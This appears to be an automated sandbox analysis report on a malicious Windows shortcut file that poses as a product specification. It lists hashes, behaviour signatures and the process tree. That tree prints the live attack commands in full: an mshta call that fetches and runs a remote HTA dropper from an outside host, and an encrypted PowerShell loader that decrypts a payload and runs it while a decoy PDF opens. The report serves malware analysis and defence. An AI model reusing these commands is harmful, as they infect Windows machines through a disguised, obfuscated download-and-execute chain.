3086ac8861aaccdf3dc45f3b1380b6cd70169c7d9fc16f098f5a1d08736fed61

Analysis

max time kernel
147s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
04/08/2023, 12:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PRODUCT DESIGN AND SPECIFICATION.lnk
Size 1KB
Sample230804-p476qsah73
SHA256 1bf287baf71f2a0872005e73399685df6b3a2b27cb2f27511deb4bdf566fbe67
MD5 8d35e46911450c731f76f311baad7ef0
SHA1 ae1d21e7c501cde5631971a39349b4a18cb52a7f
SHA512 30dba9b46666c599298a2075487aa1705596db7ca5202a9ca5b7714c8d8919a08fcfa0eb4405083ab630b5d382e25d345238badf5232f565e73efd087a42c4f5
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://thanhancompany.com/ta/line.hta

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
18	3996	mshta.exe
24	2540	powershell.exe
26	2540	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
3068	powershell.exe
3068	powershell.exe
4880	powershell.exe
4880	powershell.exe
2540	powershell.exe
2012	powershell.exe
2540	powershell.exe
2012	powershell.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	4880	powershell.exe
Token: SeDebugPrivilege	2540	powershell.exe
Token: SeDebugPrivilege	2012	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3040	AcroRd32.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe
3040	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 780 wrote to memory of 3068	780	cmd.exe	86
PID 780 wrote to memory of 3068	780	cmd.exe	86
PID 3068 wrote to memory of 3996	3068	powershell.exe	87
PID 3068 wrote to memory of 3996	3068	powershell.exe	87
PID 3996 wrote to memory of 4880	3996	mshta.exe	88
PID 3996 wrote to memory of 4880	3996	mshta.exe	88
PID 4880 wrote to memory of 3716	4880	powershell.exe	91
PID 4880 wrote to memory of 3716	4880	powershell.exe	91
PID 3716 wrote to memory of 2012	3716	cmd.exe	92
PID 3716 wrote to memory of 2012	3716	cmd.exe	92
PID 3716 wrote to memory of 2540	3716	cmd.exe	93
PID 3716 wrote to memory of 2540	3716	cmd.exe	93
PID 2540 wrote to memory of 3040	2540	powershell.exe	96
PID 2540 wrote to memory of 3040	2540	powershell.exe	96
PID 2540 wrote to memory of 3040	2540	powershell.exe	96
PID 3040 wrote to memory of 2576	3040	AcroRd32.exe	102
PID 3040 wrote to memory of 2576	3040	AcroRd32.exe	102
PID 3040 wrote to memory of 2576	3040	AcroRd32.exe	102
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 3452	2576	RdrCEF.exe	103
PID 2576 wrote to memory of 1612	2576	RdrCEF.exe	104
PID 2576 wrote to memory of 1612	2576	RdrCEF.exe	104
PID 2576 wrote to memory of 1612	2576	RdrCEF.exe	104

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\PRODUCT DESIGN AND SPECIFICATION.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" \W*\\\*2\\\msh*e ('http'+'://thanhancompany.com/ta/line'+'.hta')
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3068
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" http://thanhancompany.com/ta/line.hta
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $lQDGqRYO = 'AAAAAAAAAAAAAAAAAAAAAHDMFFr4TQjK1c7L+nJlzUiYo5VGy78t3YPii+fwvaB0CLH1qjrp4HxCT9XFZI9uzeVMMRmrR74VbKxaYqjdGMf84OZpd4IgPgqmgJIPDUYcTMqEB8EKnkcXlBQc65XVLu7sHhDAVYiFg+wR5R9IO7VERDScrW/Y9pII6W+i+h/c7dg5t7PXqGS2A8kK3Qj6jzoagZSSJdvXGMa/7ImW/TWvrKmRWTEECLJxQjKpe3cFIAMos/z2zJXLcBPGbZoyv9i01DCwSHm1AT8jyWF+s3Ptaw/jePExY9n71SUPNX78CCgphH3OzFg0G13+t4JzuAjjHNloSgDpBC0IFy5DWZ8CUYa6TbNRkKGbsQRVKYfSTbPcgjHKxgNgB64/CmIwOdbYQNqa/VnFxV1p0uhd6umgZBz+K0W2djHcbInuCBj4q4MaoxLsAGEgb4mRmCCPsG/ybt0gy+YKNJTZZp9n5RT4+civpZ4MYa/ccoQgSoUYeOJgUUOWMc2i4Q6xa8VerH94Mtt9mY7zro3PEaCil8EmZyYFvyDl7Ig3dRHQGONM8a0ReJtuzAxcxMPaInwD39QxQxxQ3n+7aXSXvNCbWpYvQ33IxeCGmV8KsxwkGFr9oYe1mXnC5M5rghRP6arH1kQtVFIoz5fXy/9fdIJjwzgfBN8H/X+ak1sQ8GhGuDKtIOAOVlIDVwMyuHxhLItRhN969cbURkpIwHvgAWC7ya/+7JrtQxLtwgcnvUqGvZMoidwPqmmHcQG72PLRtsA0gCnyKKGGK0DpDuDXXxdDLSejThngg87qpP1lJFcqWx0J/D2hIqlHIk2WHie9jzHOSP7kiSSq76FcgFMtd0fARxU/BJQGS/Y1W1UbayVkJm3kN1Iknx2eVJn4bVUc0GIjW+/M+qKi1H+DgQVAH/Gn1MklNjpGFOGc3vVu33uuevScf3hErFrdMHFjSuH+ILLxCDEEmObgxRnjW14ANsi/OOo=';$YvfBZo = 'cGJXc2ZaZWFKZ1phem9iaHp4cHlWdGtwWXpXWkFUb3I=';$qEyXZKV = New-Object 'System.Security.Cryptography.AesManaged';$qEyXZKV.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qEyXZKV.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qEyXZKV.BlockSize = 128;$qEyXZKV.KeySize = 256;$qEyXZKV.Key = [System.Convert]::FromBase64String($YvfBZo);$XWdmE = [System.Convert]::FromBase64String($lQDGqRYO);$HQkxvexs = $XWdmE[0..15];$qEyXZKV.IV = $HQkxvexs;$vFnUpSgaO = $qEyXZKV.CreateDecryptor();$YVtuKtCCl = $vFnUpSgaO.TransformFinalBlock($XWdmE, 16, $XWdmE.Length - 16);$qEyXZKV.Dispose();$ASJv = New-Object System.IO.MemoryStream( , $YVtuKtCCl );$mbWdpsh = New-Object System.IO.MemoryStream;$nprYzEcjd = New-Object System.IO.Compression.GzipStream $ASJv, ([IO.Compression.CompressionMode]::Decompress);$nprYzEcjd.CopyTo( $mbWdpsh );$nprYzEcjd.Close();$ASJv.Close();[byte[]] $jWJejyDQ = $mbWdpsh.ToArray();$axWiuKqH = [System.Text.Encoding]::UTF8.GetString($jWJejyDQ);$axWiuKqH | powershell - }
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4880
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c powershell.exe $lQDGqRYO = 'AAAAAAAAAAAAAAAAAAAAAHDMFFr4TQjK1c7L+nJlzUiYo5VGy78t3YPii+fwvaB0CLH1qjrp4HxCT9XFZI9uzeVMMRmrR74VbKxaYqjdGMf84OZpd4IgPgqmgJIPDUYcTMqEB8EKnkcXlBQc65XVLu7sHhDAVYiFg+wR5R9IO7VERDScrW/Y9pII6W+i+h/c7dg5t7PXqGS2A8kK3Qj6jzoagZSSJdvXGMa/7ImW/TWvrKmRWTEECLJxQjKpe3cFIAMos/z2zJXLcBPGbZoyv9i01DCwSHm1AT8jyWF+s3Ptaw/jePExY9n71SUPNX78CCgphH3OzFg0G13+t4JzuAjjHNloSgDpBC0IFy5DWZ8CUYa6TbNRkKGbsQRVKYfSTbPcgjHKxgNgB64/CmIwOdbYQNqa/VnFxV1p0uhd6umgZBz+K0W2djHcbInuCBj4q4MaoxLsAGEgb4mRmCCPsG/ybt0gy+YKNJTZZp9n5RT4+civpZ4MYa/ccoQgSoUYeOJgUUOWMc2i4Q6xa8VerH94Mtt9mY7zro3PEaCil8EmZyYFvyDl7Ig3dRHQGONM8a0ReJtuzAxcxMPaInwD39QxQxxQ3n+7aXSXvNCbWpYvQ33IxeCGmV8KsxwkGFr9oYe1mXnC5M5rghRP6arH1kQtVFIoz5fXy/9fdIJjwzgfBN8H/X+ak1sQ8GhGuDKtIOAOVlIDVwMyuHxhLItRhN969cbURkpIwHvgAWC7ya/+7JrtQxLtwgcnvUqGvZMoidwPqmmHcQG72PLRtsA0gCnyKKGGK0DpDuDXXxdDLSejThngg87qpP1lJFcqWx0J/D2hIqlHIk2WHie9jzHOSP7kiSSq76FcgFMtd0fARxU/BJQGS/Y1W1UbayVkJm3kN1Iknx2eVJn4bVUc0GIjW+/M+qKi1H+DgQVAH/Gn1MklNjpGFOGc3vVu33uuevScf3hErFrdMHFjSuH+ILLxCDEEmObgxRnjW14ANsi/OOo=';$YvfBZo = 'cGJXc2ZaZWFKZ1phem9iaHp4cHlWdGtwWXpXWkFUb3I=';$qEyXZKV = New-Object 'System.Security.Cryptography.AesManaged';$qEyXZKV.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qEyXZKV.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qEyXZKV.BlockSize = 128;$qEyXZKV.KeySize = 256;$qEyXZKV.Key = [System.Convert]::FromBase64String($YvfBZo);$XWdmE = [System.Convert]::FromBase64String($lQDGqRYO);$HQkxvexs = $XWdmE[0..15];$qEyXZKV.IV = $HQkxvexs;$vFnUpSgaO = $qEyXZKV.CreateDecryptor();$YVtuKtCCl = $vFnUpSgaO.TransformFinalBlock($XWdmE, 16, $XWdmE.Length - 16);$qEyXZKV.Dispose();$ASJv = New-Object System.IO.MemoryStream( , $YVtuKtCCl );$mbWdpsh = New-Object System.IO.MemoryStream;$nprYzEcjd = New-Object System.IO.Compression.GzipStream $ASJv, ([IO.Compression.CompressionMode]::Decompress);$nprYzEcjd.CopyTo( $mbWdpsh );$nprYzEcjd.Close();$ASJv.Close();[byte[]] $jWJejyDQ = $mbWdpsh.ToArray();$axWiuKqH = [System.Text.Encoding]::UTF8.GetString($jWJejyDQ);$axWiuKqH | powershell -
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3716
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe $lQDGqRYO = 'AAAAAAAAAAAAAAAAAAAAAHDMFFr4TQjK1c7L+nJlzUiYo5VGy78t3YPii+fwvaB0CLH1qjrp4HxCT9XFZI9uzeVMMRmrR74VbKxaYqjdGMf84OZpd4IgPgqmgJIPDUYcTMqEB8EKnkcXlBQc65XVLu7sHhDAVYiFg+wR5R9IO7VERDScrW/Y9pII6W+i+h/c7dg5t7PXqGS2A8kK3Qj6jzoagZSSJdvXGMa/7ImW/TWvrKmRWTEECLJxQjKpe3cFIAMos/z2zJXLcBPGbZoyv9i01DCwSHm1AT8jyWF+s3Ptaw/jePExY9n71SUPNX78CCgphH3OzFg0G13+t4JzuAjjHNloSgDpBC0IFy5DWZ8CUYa6TbNRkKGbsQRVKYfSTbPcgjHKxgNgB64/CmIwOdbYQNqa/VnFxV1p0uhd6umgZBz+K0W2djHcbInuCBj4q4MaoxLsAGEgb4mRmCCPsG/ybt0gy+YKNJTZZp9n5RT4+civpZ4MYa/ccoQgSoUYeOJgUUOWMc2i4Q6xa8VerH94Mtt9mY7zro3PEaCil8EmZyYFvyDl7Ig3dRHQGONM8a0ReJtuzAxcxMPaInwD39QxQxxQ3n+7aXSXvNCbWpYvQ33IxeCGmV8KsxwkGFr9oYe1mXnC5M5rghRP6arH1kQtVFIoz5fXy/9fdIJjwzgfBN8H/X+ak1sQ8GhGuDKtIOAOVlIDVwMyuHxhLItRhN969cbURkpIwHvgAWC7ya/+7JrtQxLtwgcnvUqGvZMoidwPqmmHcQG72PLRtsA0gCnyKKGGK0DpDuDXXxdDLSejThngg87qpP1lJFcqWx0J/D2hIqlHIk2WHie9jzHOSP7kiSSq76FcgFMtd0fARxU/BJQGS/Y1W1UbayVkJm3kN1Iknx2eVJn4bVUc0GIjW+/M+qKi1H+DgQVAH/Gn1MklNjpGFOGc3vVu33uuevScf3hErFrdMHFjSuH+ILLxCDEEmObgxRnjW14ANsi/OOo=';$YvfBZo = 'cGJXc2ZaZWFKZ1phem9iaHp4cHlWdGtwWXpXWkFUb3I=';$qEyXZKV = New-Object 'System.Security.Cryptography.AesManaged';$qEyXZKV.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qEyXZKV.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qEyXZKV.BlockSize = 128;$qEyXZKV.KeySize = 256;$qEyXZKV.Key = [System.Convert]::FromBase64String($YvfBZo);$XWdmE = [System.Convert]::FromBase64String($lQDGqRYO);$HQkxvexs = $XWdmE[0..15];$qEyXZKV.IV = $HQkxvexs;$vFnUpSgaO = $qEyXZKV.CreateDecryptor();$YVtuKtCCl = $vFnUpSgaO.TransformFinalBlock($XWdmE, 16, $XWdmE.Length - 16);$qEyXZKV.Dispose();$ASJv = New-Object System.IO.MemoryStream( , $YVtuKtCCl );$mbWdpsh = New-Object System.IO.MemoryStream;$nprYzEcjd = New-Object System.IO.Compression.GzipStream $ASJv, ([IO.Compression.CompressionMode]::Decompress);$nprYzEcjd.CopyTo( $mbWdpsh );$nprYzEcjd.Close();$ASJv.Close();[byte[]] $jWJejyDQ = $mbWdpsh.ToArray();$axWiuKqH = [System.Text.Encoding]::UTF8.GetString($jWJejyDQ);$axWiuKqH
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2012
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -
        6⤵
        Blocklisted process makes network request
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2540
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\blank.pdf"
        7⤵
        Modifies Internet Explorer settings
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3040
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2576
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=38D4EE8ADB59B5C74CA6815FD9B7B841 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=38D4EE8ADB59B5C74CA6815FD9B7B841 --renderer-client-id=2 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job /prefetch:1
        9⤵
        
        PID:3452
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C48C68394EDF36F7775AB368F874E8DE --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        9⤵
        
        PID:1612
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=1D19B8295C2FAF45E95E734A8A399D63 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=1D19B8295C2FAF45E95E734A8A399D63 --renderer-client-id=4 --mojo-platform-channel-handle=2320 --allow-no-sandbox-job /prefetch:1
        9⤵
        
        PID:4240
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=4A2C979D241EA47854CC2F299C2E870D --mojo-platform-channel-handle=2552 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        9⤵
        
        PID:1124
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=0CD908B992240CFB5ABFF7676DB3BD03 --mojo-platform-channel-handle=2560 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        9⤵
        
        PID:2156
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=180472C900D7B9C028AEED4C47888344 --mojo-platform-channel-handle=2088 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        9⤵
        
        PID:748
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        8⤵
        
        PID:5112

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

